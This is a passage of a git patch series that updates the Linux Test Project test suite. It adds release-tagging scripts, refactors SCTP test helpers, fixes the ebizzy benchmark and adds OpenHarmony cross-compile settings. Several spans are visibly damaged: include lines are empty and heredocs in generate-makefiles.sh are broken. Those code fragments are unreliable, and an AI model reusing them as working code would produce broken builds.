"termination_id=0" ) { + $detected_pass = 1; + $test_passed++; + } + } if ( $line =~ /$output_tag/ ) { $flag2 = 1; $row_line = $row_line . "
";
diff --git a/tools/lib.sh b/tools/lib.sh
new file mode 100644
index 00000000..c96433d2
--- /dev/null
+++ b/tools/lib.sh
@@ -0,0 +1,31 @@
+#!/bin/sh
+# Copyright (c) 2023 Petr Vorel 
+
+ask()
+{
+	local msg="$1"
+	local answer
+
+	printf "\n$msg. Proceed? [N/y]: "
+	read answer
+	case "$answer" in
+		[Yy]*) : ;;
+		*) exit 2
+	esac
+}
+
+quit()
+{
+	printf "\n$@\n" >&2
+	exit 1
+}
+
+rod()
+{
+	eval "$@" || quit "$@ failed"
+}
+
+title()
+{
+	echo "===== $1 ====="
+}
diff --git a/tools/ltx/Makefile b/tools/ltx/Makefile
new file mode 100644
index 00000000..4810ec8d
--- /dev/null
+++ b/tools/ltx/Makefile
@@ -0,0 +1,31 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2023 Cyril Hrubis 
+# Copyright (c) 2023 Andrea Cervesato 
+#
+# Install script for Linux Test eXecutor
+
+top_srcdir		?= ../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+ifneq ($(wildcard $(abs_srcdir)/ltx-src/*),)
+
+BINARY=ltx
+
+MAKE_TARGETS := $(BINARY)
+
+CFLAGS+=-I$(abs_srcdir)/ltx-src/ -I$(abs_srcdir)/ltx-src/msgpack/
+
+$(BINARY): $(wildcard $(abs_srcdir)/ltx-src/*.c $(abs_srcdir)/ltx-src/msgpack/*.c)
+ifdef VERBOSE
+	$(CC) $(CPPFLAGS) $(CFLAGS) $(LDFLAGS) $^ $(LDLIBS) -o $@
+else
+	@echo CC $@
+	@$(CC) $(CPPFLAGS) $(CFLAGS) $(LDFLAGS) $^ $(LDLIBS) -o $@
+endif
+
+INSTALL_DIR := $(prefix)
+
+endif
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/tools/sparse/Makefile b/tools/sparse/Makefile
index 4247dd86..d35c9cab 100755
--- a/tools/sparse/Makefile
+++ b/tools/sparse/Makefile
@@ -20,7 +20,7 @@ $(SPARSE_SRC)/libsparse.a: $(SPARSE_SRC)/Makefile
 
 HOST_MAKE_TARGETS	:= sparse-ltp
 MAKE_DEPS		+= $(SPARSE_SRC)/libsparse.a
-HOST_CFLAGS		+= -I$(SPARSE_SRC) -Werror
+HOST_CFLAGS		+= -I$(SPARSE_SRC) -Werror -Wno-null-pointer-subtraction
 HOST_LDLIBS		+= $(SPARSE_SRC)/libsparse.a
 
 
diff --git a/tools/sparse/sparse-ltp.c b/tools/sparse/sparse-ltp.c
index 60802580..d649ee7b 100755
--- a/tools/sparse/sparse-ltp.c
+++ b/tools/sparse/sparse-ltp.c
@@ -178,27 +178,31 @@ static bool is_terminated_with_null_struct(const struct symbol *const sym)
 	if (item_init->type == EXPR_POS)
 		item_init = item_init->init_expr;
 
+	if (item_init->type != EXPR_INITIALIZER)
+		return false;
+
 	return ptr_list_empty((struct ptr_list *)item_init->expr_list);
 }
 
-/* Check for (one instance of) LTP-005
+/* LTP-005: Check array sentinel value
  *
- * The tags array is only accessed when the test fails. So we perform
- * a static check to ensure it ends with {}
+ * This is most important for the tags array. It is only accessed when
+ * the test fails. So we perform a static check to ensure it ends with
+ * {}.
  */
-static void check_tag_initializer(const struct symbol *const sym)
+static void check_struct_array_initializer(const struct symbol *const sym)
 {
 	if (is_terminated_with_null_struct(sym))
 		return;
 
 	warning(sym->pos,
-		"LTP-005: test.tags array doesn't appear to be null-terminated; did you forget to add '{}' as the final entry?");
+		"LTP-005: Struct array doesn't appear to be null-terminated; did you forget to add '{}' as the final entry?");
 }
 
 /* Find struct tst_test test = { ... } and perform tests on its initializer */
 static void check_test_struct(const struct symbol *const sym)
 {
-	static struct ident *tst_test, *tst_test_test, *tst_tag;
+	static struct ident *tst_test, *tst_test_test;
 	struct ident *ctype_name = NULL;
 	struct expression *init = sym->initializer;
 	struct expression *entry;
@@ -214,7 +218,6 @@ static void check_test_struct(const struct symbol *const sym)
 	if (!tst_test_test) {
 		tst_test = built_in_ident("tst_test");
 		tst_test_test = built_in_ident("test");
-		tst_tag = built_in_ident("tst_tag");
 	}
 
 	if (sym->ident != tst_test_test)
@@ -227,11 +230,19 @@ static void check_test_struct(const struct symbol *const sym)
 		if (entry->init_expr->type != EXPR_SYMBOL)
 			continue;
 
+		switch (entry->ctype->ctype.base_type->type) {
+		case SYM_PTR:
+		case SYM_ARRAY:
+			break;
+		default:
+			return;
+		}
+
 		const struct symbol *entry_init = entry->init_expr->symbol;
 		const struct symbol *entry_ctype = unwrap_base_type(entry_init);
 
-		if (entry_ctype->ident == tst_tag)
-			check_tag_initializer(entry_init);
+		if (entry_ctype->type == SYM_STRUCT)
+			check_struct_array_initializer(entry_init);
 	} END_FOR_EACH_PTR(entry);
 
 }
diff --git a/tools/tag-release.sh b/tools/tag-release.sh
new file mode 100644
index 00000000..2967c7b4
--- /dev/null
+++ b/tools/tag-release.sh
@@ -0,0 +1,45 @@
+#!/bin/sh
+# Copyright (c) 2023 Petr Vorel 
+# Tag LTP release.
+# https://github.com/linux-test-project/ltp/wiki/LTP-Release-Procedure
+set -e
+
+upstream_git="linux-test-project/ltp"
+tag="$(date +%Y%m%d)"
+old_tag="$(git describe --abbrev=0)"
+tag_msg="LTP $tag"
+
+. $(dirname "$0")/lib.sh
+
+cd $(dirname "$0")/..
+
+if ! git ls-remote --get-url origin | grep -q $upstream_git; then
+	quit "Not an upstream project"
+fi
+
+if ! git --no-pager diff --exit-code; then
+	quit "Please commit your changes before making new release"
+fi
+
+if git show $tag 2> /dev/null; then
+	quit "Tag '$tag' already exists"
+fi
+
+if grep -q "$tag" VERSION; then
+	quit "Tag '$tag' already in VERSION file"
+fi
+
+title "git tag"
+echo "new tag: '$tag', previous tag: '$old_tag'"
+echo "$tag" > VERSION
+git add VERSION
+rod git commit -S --signoff --message \"$tag_msg\" VERSION
+rod git tag --sign --annotate $tag --message \"$tag_msg\"
+git --no-pager show $tag --show-signature
+
+ask "Please check tag and signature"
+
+title "git push"
+ask "Pushing changes to upstream git"
+rod git push origin master:master
+git push origin $tag
diff --git a/utils/benchmark/ebizzy-0.3/ebizzy.c b/utils/benchmark/ebizzy-0.3/ebizzy.c
index 54b04713..e7556dd5 100755
--- a/utils/benchmark/ebizzy-0.3/ebizzy.c
+++ b/utils/benchmark/ebizzy-0.3/ebizzy.c
@@ -50,6 +50,7 @@
 #include 
 #include 
 #include 
+#include 
 
 #include "ebizzy.h"
 
@@ -83,7 +84,6 @@ static char **hole_mem;
 static unsigned int page_size;
 static time_t start_time;
 static volatile int threads_go;
-static unsigned int records_read;
 
 static void usage(void)
 {
@@ -366,13 +366,13 @@ static inline unsigned int rand_num(unsigned int max, unsigned int *state)
  *
  */
 
-static unsigned int search_mem(void)
+static uintptr_t search_mem(void)
 {
 	record_t key, *found;
 	record_t *src, *copy;
 	unsigned int chunk;
 	size_t copy_size = chunk_size;
-	unsigned int i;
+	uintptr_t i;
 	unsigned int state = 0;
 
 	for (i = 0; threads_go == 1; i++) {
@@ -423,6 +423,8 @@ static unsigned int search_mem(void)
 
 static void *thread_run(void *arg __attribute__((unused)))
 {
+	uintptr_t records_thread;
+
 	if (verbose > 1)
 		printf("Thread started\n");
 
@@ -430,13 +432,13 @@ static void *thread_run(void *arg __attribute__((unused)))
 
 	while (threads_go == 0) ;
 
-	records_read += search_mem();
+	records_thread = search_mem();
 
 	if (verbose > 1)
 		printf("Thread finished, %f seconds\n",
 		       difftime(time(NULL), start_time));
 
-	return NULL;
+	return (void *)records_thread;
 }
 
 static struct timeval difftimeval(struct timeval *end, struct timeval *start)
@@ -454,6 +456,7 @@ static void start_threads(void)
 	unsigned int i;
 	struct rusage start_ru, end_ru;
 	struct timeval usr_time, sys_time;
+	double records_per_sec = 0.0;
 	int err;
 
 	if (verbose)
@@ -484,18 +487,19 @@ static void start_threads(void)
 	 */
 
 	for (i = 0; i < threads; i++) {
-		err = pthread_join(thread_array[i], NULL);
+		uintptr_t record_thread;
+		err = pthread_join(thread_array[i], (void *)&record_thread);
 		if (err) {
 			fprintf(stderr, "Error joining thread %d\n", i);
 			exit(1);
 		}
+		records_per_sec += ((double)record_thread / elapsed);
 	}
 
 	if (verbose)
 		printf("Threads finished\n");
 
-	printf("%u records/s\n",
-	       (unsigned int)(((double)records_read) / elapsed));
+	printf("%tu records/s\n", (uintptr_t) records_per_sec);
 
 	usr_time = difftimeval(&end_ru.ru_utime, &start_ru.ru_utime);
 	sys_time = difftimeval(&end_ru.ru_stime, &start_ru.ru_stime);
diff --git a/utils/sctp/func_tests/test_1_to_1_connectx.c b/utils/sctp/func_tests/test_1_to_1_connectx.c
index 16479a81..08b7b3fc 100755
--- a/utils/sctp/func_tests/test_1_to_1_connectx.c
+++ b/utils/sctp/func_tests/test_1_to_1_connectx.c
@@ -6,14 +6,13 @@
  *
  * TEST1: Bad socket descriptor
  * TEST2: Invalid socket
- * TEST3: Invalid address
- * TEST4: Invalid address length
- * TEST5: Invalid address family
- * TEST6: Valid blocking sctp_connectx
- * TEST7: Connect when accept queue is full
- * TEST8: On a listening socket
- * TEST9: On established socket
- * TEST10: Connect to re-establish a closed association. 
+ * TEST3: Invalid address length
+ * TEST4: Invalid address family
+ * TEST5: Valid blocking sctp_connectx
+ * TEST6: Connect when accept queue is full
+ * TEST7: On a listening socket
+ * TEST8: On established socket
+ * TEST9: Connect to re-establish a closed association.
  *
  * The SCTP implementation is free software;
  * you can redistribute it and/or modify it under the terms of
@@ -75,7 +74,6 @@ main(void)
 	int sk1,clnt2_sk;
 
 	struct sockaddr_in conn_addr,lstn_addr,acpt_addr;
-	struct sockaddr *tmp_addr;
 
 	if (tst_check_driver("sctp"))
 		tst_brkm(TCONF, tst_exit, "sctp driver not available");
@@ -132,17 +130,7 @@ main(void)
 
 	tst_resm(TPASS, "sctp_connectx() with invalid socket - ENOTSOCK");
 
-	/*sctp_connectx () TEST3: Invalid address, EINVAL Expected error*/
-	tmp_addr = (struct sockaddr *) malloc(sizeof(struct sockaddr) - 1);
-	tmp_addr->sa_family = AF_INET;
-	error = sctp_connectx(sk, tmp_addr, 1, NULL);
-	if (error != -1 || errno != EINVAL)
-		tst_brkm(TBROK, tst_exit, "sctp_connectx with invalid address "
-	                 "error:%d, errno:%d", error, errno);
-
-	tst_resm(TPASS, "sctp_connectx() with invalid address - EINVAL");
-
-	/*sctp_connectx () TEST4: Invalid address length, EINVAL Expected error*/
+	/*sctp_connectx () TEST3: Invalid address length, EINVAL Expected error*/
 	error = sctp_connectx(sk, (struct sockaddr *) &conn_addr, 0, NULL);
 	if (error != -1 || errno != EINVAL)
 		tst_brkm(TBROK, tst_exit, "sctp_connectx with invalid address length "
@@ -150,7 +138,7 @@ main(void)
 
 	tst_resm(TPASS, "sctp_connectx() with invalid address length - EINVAL");
 
-	/*sctp_connectx () TEST5: Invalid address family, EINVAL Expect error*/
+	/*sctp_connectx () TEST4: Invalid address family, EINVAL Expect error*/
 	conn_addr.sin_family = 9090; /*Assigning invalid address family*/
 	error = sctp_connectx(sk, (struct sockaddr *) &conn_addr, 1, NULL);
 	if (error != -1 || errno != EINVAL)
@@ -161,7 +149,7 @@ main(void)
 
 	conn_addr.sin_family = AF_INET;
 
-	/*sctp_connectx () TEST6: Blocking sctp_connectx, should pass*/
+	/*sctp_connectx () TEST5: Blocking sctp_connectx, should pass*/
 	/*All the be below blocking sctp_connectx should pass as socket will be 
 	listening SK_MAX clients*/
 	for (i = 0 ; i < SK_MAX ; i++) {
@@ -174,7 +162,7 @@ main(void)
 
 	tst_resm(TPASS, "valid blocking sctp_connectx() - SUCCESS");
 
-	/*sctp_connectx () TEST7: sctp_connectx when accept queue is full, ECONNREFUSED
+	/*sctp_connectx () TEST6: sctp_connectx when accept queue is full, ECONNREFUSED
 	Expect error*/
 	/*Now that accept queue is full, the below sctp_connectx should fail*/
 	error = sctp_connectx(clnt2_sk, (struct sockaddr *) &conn_addr, 1, NULL);
@@ -189,7 +177,7 @@ main(void)
 		acpt_sk[i] = test_accept(lstn_sk,
 					 (struct sockaddr *) &acpt_addr, &len);
 
-	/*sctp_connectx () TEST8: from a listening socket, EISCONN Expect error*/
+	/*sctp_connectx () TEST7: from a listening socket, EISCONN Expect error*/
 	error = sctp_connectx(lstn_sk, (struct sockaddr *) &lstn_addr, 1, NULL);
 	if (error != -1 || errno != EISCONN)
 		tst_brkm(TBROK, tst_exit, "sctp_connectx on a listening socket "
@@ -197,7 +185,7 @@ main(void)
 
 	tst_resm(TPASS, "sctp_connectx() on a listening socket - EISCONN");
 
-	/*sctp_connectx() TEST9: On established socket, EISCONN Expect error*/
+	/*sctp_connectx() TEST8: On established socket, EISCONN Expect error*/
 	i=0;
 	error = sctp_connectx(acpt_sk[i], (struct sockaddr *) &lstn_addr, 1, NULL);
 	if (error != -1 || errno != EISCONN)
@@ -211,7 +199,7 @@ main(void)
 		close(acpt_sk[i]);
 	} 
 
-	/* sctp_connectx() TEST10: Re-establish an association that is closed.
+	/* sctp_connectx() TEST9: Re-establish an association that is closed.
 	 * should succeed.
 	 */
 	error = sctp_connectx(sk1, (struct sockaddr *)&conn_addr, 1, NULL);
diff --git a/utils/sctp/testlib/sctputil.h b/utils/sctp/testlib/sctputil.h
index 6c3371c9..176d623f 100755
--- a/utils/sctp/testlib/sctputil.h
+++ b/utils/sctp/testlib/sctputil.h
@@ -133,64 +133,85 @@ extern int TST_CNT;
 static inline int test_socket(int domain, int type, int protocol)
 {
 	int sk = socket(domain, type, protocol);
-        if (-1 == sk)
-                tst_brkm(TBROK, tst_exit, "socket: %s", strerror(errno));
+
+	if (sk == -1) {
+		if (errno == EAFNOSUPPORT)
+			tst_brkm(TCONF | TERRNO, tst_exit, "socket(%i, %i, %i) not supported", domain,
+					 type, protocol);
+
+		tst_brkm(TBROK | TERRNO, tst_exit, "socket()");
+	}
+
 	return sk;
 }
 
 static inline int test_bind(int sk, struct sockaddr *addr, socklen_t addrlen)
 {
 	int error = bind(sk, addr, addrlen);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "bind: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "bind()");
+
 	return error;
 }
 
 static inline int test_bindx_add(int sk, struct sockaddr *addr, int count)
 {
 	int error = sctp_bindx(sk, addr, count, SCTP_BINDX_ADD_ADDR);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "bindx (add): %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "sctp_bindx()");
+
 	return error;
 }
 
 static inline int test_listen(int sk, int backlog)
 {
 	int error = listen(sk, backlog);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "listen: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "listen()");
+
 	return error;
 }
 
 static inline int test_connect(int sk, struct sockaddr *addr, socklen_t addrlen)
 {
 	int error = connect(sk, addr, addrlen);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "connect: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "connect()");
+
 	return error;
 }
 
 static inline int test_connectx(int sk, struct sockaddr *addr, int count)
 {
 	int error = sctp_connectx(sk, addr, count, NULL);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "connectx: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "connectx()");
+
 	return error;
 }
 
 static inline int test_accept(int sk, struct sockaddr *addr, socklen_t *addrlen)
 {
 	int error = accept(sk, addr, addrlen);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "accept: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "accept()");
+
 	return error;
 }
 
 static inline int test_send(int sk, const void *msg, size_t len, int flags)
 {
 	int error = send(sk, msg, len, flags);
+
 	if ((long)len != error)
-		tst_brkm(TBROK, tst_exit, "send: error:%d errno:%d", error, errno);
+		tst_brkm(TBROK | TERRNO, tst_exit, "send(): error: %d", error);
+
 	return error;
 }
 
@@ -198,8 +219,10 @@ static inline int test_sendto(int sk, const void *msg, size_t len, int flags,
 			      const struct sockaddr *to, socklen_t tolen)
 {
 	int error = sendto(sk, msg, len, flags, to, tolen);
+
 	if ((long)len != error)
-		tst_brkm(TBROK, tst_exit, "sendto: error:%d errno:%d", error, errno);
+		tst_brkm(TBROK | TERRNO, tst_exit, "sendto(): error: %d", error);
+
 	return error;
 }
 
@@ -207,33 +230,40 @@ static inline int test_sendmsg(int sk, const struct msghdr *msg, int flags,
 			       int msglen)
 {
 	int error = sendmsg(sk, msg, flags);
-        if (msglen != error)
-                tst_brkm(TBROK, tst_exit, "sendmsg: error:%d errno:%d",
-			 error, errno);
+
+	if (msglen != error)
+		tst_brkm(TBROK | TERRNO, tst_exit, "sendmsg(): error: %d", error);
+
 	return error;
 }
 
 static inline int test_recv(int sk, void *buf, size_t len, int flags)
 {
 	int error = recv(sk, buf, len, flags);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "recv: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "recv()");
+
 	return error;
 }
 
 static inline int test_recvmsg(int sk, struct msghdr *msg, int flags)
 {
 	int error = recvmsg(sk, msg, flags);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "recvmsg: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "recvmsg()");
+
 	return error;
 }
 
 static inline int test_shutdown(int sk, int how)
 {
 	int error = shutdown(sk, how);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "shutdown: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "shutdown()");
+
 	return error;
 }
 
@@ -241,6 +271,7 @@ static inline int test_getsockopt(int sk, int optname, void *optval,
 				  socklen_t *optlen)
 {
 	int error = getsockopt(sk, SOL_SCTP, optname, optval, optlen);
+
 	if (error)
 		tst_brkm(TBROK, tst_exit, "getsockopt(%d): %s", optname,
 			 strerror(errno));
@@ -251,17 +282,21 @@ static inline int test_setsockopt(int sk, int optname, const void *optval,
 				  socklen_t optlen)
 {
 	int error = setsockopt(sk, SOL_SCTP, optname, optval, optlen);
+
 	if (error)
 		tst_brkm(TBROK, tst_exit, "setsockopt(%d): %s", optname,
 			 strerror(errno));
+
 	return error;
 }
 
 static inline int test_sctp_peeloff(int sk, sctp_assoc_t assoc_id)
 {
 	int error = sctp_peeloff(sk, assoc_id);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "sctp_peeloff: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "sctp_peeloff()");
+
 	return error;
 }
 
@@ -272,10 +307,12 @@ static inline int test_sctp_sendmsg(int s, const void *msg, size_t len,
 				    uint32_t context)
 {
 	int error = sctp_sendmsg(s, msg, len, to, tolen, ppid, flags, stream_no,
-	  		         timetolive, context);
-	if ((long)len != error)
+				 timetolive, context);
+
+	if (error != (long)len)
 		tst_brkm(TBROK, tst_exit, "sctp_sendmsg: error:%d errno:%d",
 			 error, errno);
+
 	return error;
 }
 
@@ -284,9 +321,11 @@ static inline int test_sctp_send(int s, const void *msg, size_t len,
 				 int flags)
 {
 	int error = sctp_send(s, msg, len, sinfo, flags);
-	if ((long)len != error)
+
+	if (error != (long)len)
 		tst_brkm(TBROK, tst_exit, "sctp_send: error:%d errno:%d",
 			 error, errno);
+
 	return error;
 }
 
@@ -296,16 +335,20 @@ static inline int test_sctp_recvmsg(int sk, void *msg, size_t len,
 				    int *msg_flags)
 {
 	int error = sctp_recvmsg(sk, msg, len, from, fromlen, sinfo, msg_flags);
-	if (-1 == error)
-		tst_brkm(TBROK, tst_exit, "sctp_recvmsg: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "sctp_recvmsg()");
+
 	return error;
 }
 
 static inline void *test_malloc(size_t size)
 {
 	void *buf = malloc(size);
-        if (NULL == buf)
-                tst_brkm(TBROK, tst_exit, "malloc failed");
+
+	if (NULL == buf)
+		tst_brkm(TBROK, tst_exit, "malloc failed");
+
 	return buf;
 }
 
diff --git a/ver_linux b/ver_linux
index 2df1c7b6..7dd0fe17 100755
--- a/ver_linux
+++ b/ver_linux
@@ -130,13 +130,17 @@ if [ -e /proc/modules ]; then
     echo "Modules Loaded         "$X
 fi
 
+echo
+echo 'cpuinfo:'
+tst_cmd_run lscpu || cat /proc/cpuinfo
+
 echo
 echo 'free reports:'
 free
 
 echo
-echo 'cpuinfo:'
-tst_cmd_run lscpu || cat /proc/cpuinfo
+echo 'memory (/proc/meminfo):'
+cat /proc/meminfo
 
 echo
 echo 'available filesystems:'
-- 
Gitee


From 88c2dafdf7b75b3d936ebf21932dd9a4bdcac6fe Mon Sep 17 00:00:00 2001
From: gaoxue 
Date: Tue, 27 Feb 2024 08:30:08 +0800
Subject: [PATCH 2/3] =?UTF-8?q?ltp=E4=BB=A3=E7=A0=81=E5=8D=87=E7=BA=A7?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: gaoxue 
---
 .../scripts/generate-makefiles.sh             | 47 +++++++++++++++----
 1 file changed, 39 insertions(+), 8 deletions(-)

diff --git a/testcases/open_posix_testsuite/scripts/generate-makefiles.sh b/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
index 0649c480..2f0769a7 100755
--- a/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
+++ b/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
@@ -107,29 +107,38 @@ generate_makefile() {
 #
 
 # Path variables.
+CC := ${COMPILE_PATH}
 top_srcdir?=		`echo "$prereq_dir" | awk '{ gsub(/[^\/]+/, "..", $0); print }'`
 subdir=			$prereq_cache_dir
 srcdir=			\$(top_srcdir)/\$(subdir)
 
-include \$(top_srcdir)/include/mk/env.mk
-
-INSTALL_DIR=		\$(DESTDIR)/\$(testdir)/\$(subdir)
+prefix?=		$PREFIX
+exec_prefix?=		\$(prefix)
+INSTALL_DIR=		\$(DESTDIR)/\$(exec_prefix)/\$(subdir)
 LOGFILE?=		logfile
 
 # Build variables
 CFLAGS+=		-I\$(top_srcdir)/include
+CFLAGS+=        --target=arm-liteos-ohos --sysroot=${SYSROOT_PATH} ${ARCH_CFLAGS}
 
 # XXX: for testfrmw.c -- needs to be moved into a library.
 CFLAGS+=		-I\$(srcdir)
 
 EOF
 
+		if [ -f "$GLOBAL_BOILERPLATE" ]; then
+			cat >> "$makefile.1" <> "$makefile.1" <> "$makefile.1" </dev/null`
 EOF
@@ -162,16 +171,13 @@ EOF
 	if [ ! -f "$makefile.3" ]; then
 
 		cat > "$makefile.3" <> "$GLOBAL_BOILERPLATE" <> "$GLOBAL_BOILERPLATE"
+fi
+
 # For the generic cases.
 generate_locate_test_makefile buildonly '.test' "$buildonly_compiler_args"
 generate_locate_test_makefile runnable '.run-test'
 generate_locate_test_makefile test-tools ''
 
+rm -f "$GLOBAL_BOILERPLATE"
+
 find . -name Makefile.1 -exec dirname {} \; | while read dir; do
 	if [ -f "$dir/Makefile.2" ]; then
 		cat $dir/Makefile.1 $dir/Makefile.2 $dir/Makefile.3 > $dir/Makefile
-- 
Gitee


From ef99b022a5cd68ab9d528730cda035d7cd9a64fa Mon Sep 17 00:00:00 2001
From: gaoxue 
Date: Tue, 27 Feb 2024 11:19:27 +0800
Subject: [PATCH 3/3] =?UTF-8?q?ltp=E4=BB=A3=E7=A0=81=E5=8D=87=E7=BA=A7?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: gaoxue 
---
 ci/alpine.sh               | 0
 ci/centos.sh               | 0
 ci/debian.cross-compile.sh | 0
 ci/debian.i386.sh          | 0
 ci/debian.minimal.sh       | 0
 ci/debian.sh               | 0
 ci/fedora.sh               | 0
 ci/opensuse.sh             | 0
 ci/tumbleweed.sh           | 0
 ci/ubuntu.sh               | 0
 10 files changed, 0 insertions(+), 0 deletions(-)
 mode change 100755 => 100644 ci/alpine.sh
 mode change 120000 => 100644 ci/centos.sh
 mode change 100755 => 100644 ci/debian.cross-compile.sh
 mode change 100755 => 100644 ci/debian.i386.sh
 mode change 100755 => 100644 ci/debian.minimal.sh
 mode change 100755 => 100644 ci/debian.sh
 mode change 100755 => 100644 ci/fedora.sh
 mode change 120000 => 100644 ci/opensuse.sh
 mode change 100755 => 100644 ci/tumbleweed.sh
 mode change 120000 => 100644 ci/ubuntu.sh

diff --git a/ci/alpine.sh b/ci/alpine.sh
old mode 100755
new mode 100644
diff --git a/ci/centos.sh b/ci/centos.sh
deleted file mode 120000
index 1479a43e..00000000
--- a/ci/centos.sh
+++ /dev/null
@@ -1 +0,0 @@
-fedora.sh
\ No newline at end of file
diff --git a/ci/centos.sh b/ci/centos.sh
new file mode 100644
index 00000000..1479a43e
--- /dev/null
+++ b/ci/centos.sh
@@ -0,0 +1 @@
+fedora.sh
\ No newline at end of file
diff --git a/ci/debian.cross-compile.sh b/ci/debian.cross-compile.sh
old mode 100755
new mode 100644
diff --git a/ci/debian.i386.sh b/ci/debian.i386.sh
old mode 100755
new mode 100644
diff --git a/ci/debian.minimal.sh b/ci/debian.minimal.sh
old mode 100755
new mode 100644
diff --git a/ci/debian.sh b/ci/debian.sh
old mode 100755
new mode 100644
diff --git a/ci/fedora.sh b/ci/fedora.sh
old mode 100755
new mode 100644
diff --git a/ci/opensuse.sh b/ci/opensuse.sh
deleted file mode 120000
index 11c5f4b6..00000000
--- a/ci/opensuse.sh
+++ /dev/null
@@ -1 +0,0 @@
-tumbleweed.sh
\ No newline at end of file
diff --git a/ci/opensuse.sh b/ci/opensuse.sh
new file mode 100644
index 00000000..11c5f4b6
--- /dev/null
+++ b/ci/opensuse.sh
@@ -0,0 +1 @@
+tumbleweed.sh
\ No newline at end of file
diff --git a/ci/tumbleweed.sh b/ci/tumbleweed.sh
old mode 100755
new mode 100644
diff --git a/ci/ubuntu.sh b/ci/ubuntu.sh
deleted file mode 120000
index 0edcb8b8..00000000
--- a/ci/ubuntu.sh
+++ /dev/null
@@ -1 +0,0 @@
-debian.sh
\ No newline at end of file
diff --git a/ci/ubuntu.sh b/ci/ubuntu.sh
new file mode 100644
index 00000000..0edcb8b8
--- /dev/null
+++ b/ci/ubuntu.sh
@@ -0,0 +1 @@
+debian.sh
\ No newline at end of file
-- 
Gitee